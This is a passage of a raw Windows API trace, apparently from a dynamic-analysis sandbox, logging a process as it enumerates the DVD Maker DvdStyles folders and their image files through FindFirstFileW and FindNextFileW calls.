ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0273.939] GetLastError () returned 0x12 [0273.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.940] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.940] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.940] GetLastError () returned 0x12 [0273.941] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.941] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.941] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0273.942] GetLastError () returned 0x12 [0273.942] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.943] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.943] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.943] GetLastError () returned 0x12 [0273.943] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.944] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.944] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0273.944] GetLastError () returned 0x12 [0273.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.946] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.946] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.946] GetLastError () returned 0x12 [0273.947] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.947] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.947] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0273.947] GetLastError () returned 0x12 [0273.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.949] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.949] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.949] GetLastError () returned 0x12 [0273.949] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.950] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.950] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0273.950] GetLastError () returned 0x12 [0273.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.951] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.951] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0273.952] GetLastError () returned 0x12 [0273.952] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.952] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.953] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0273.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.098] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.098] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0274.098] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.099] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0274.099] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0274.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0274.247] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.247] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0274.247] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0274.248] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0274.248] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0274.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0274.307] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.307] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0274.308] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0274.308] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0274.308] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0274.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0274.311] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.311] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0274.311] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0274.311] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0274.311] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0274.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0274.315] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.315] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0274.315] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0274.316] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0274.316] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0274.316] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0274.316] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0274.317] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, 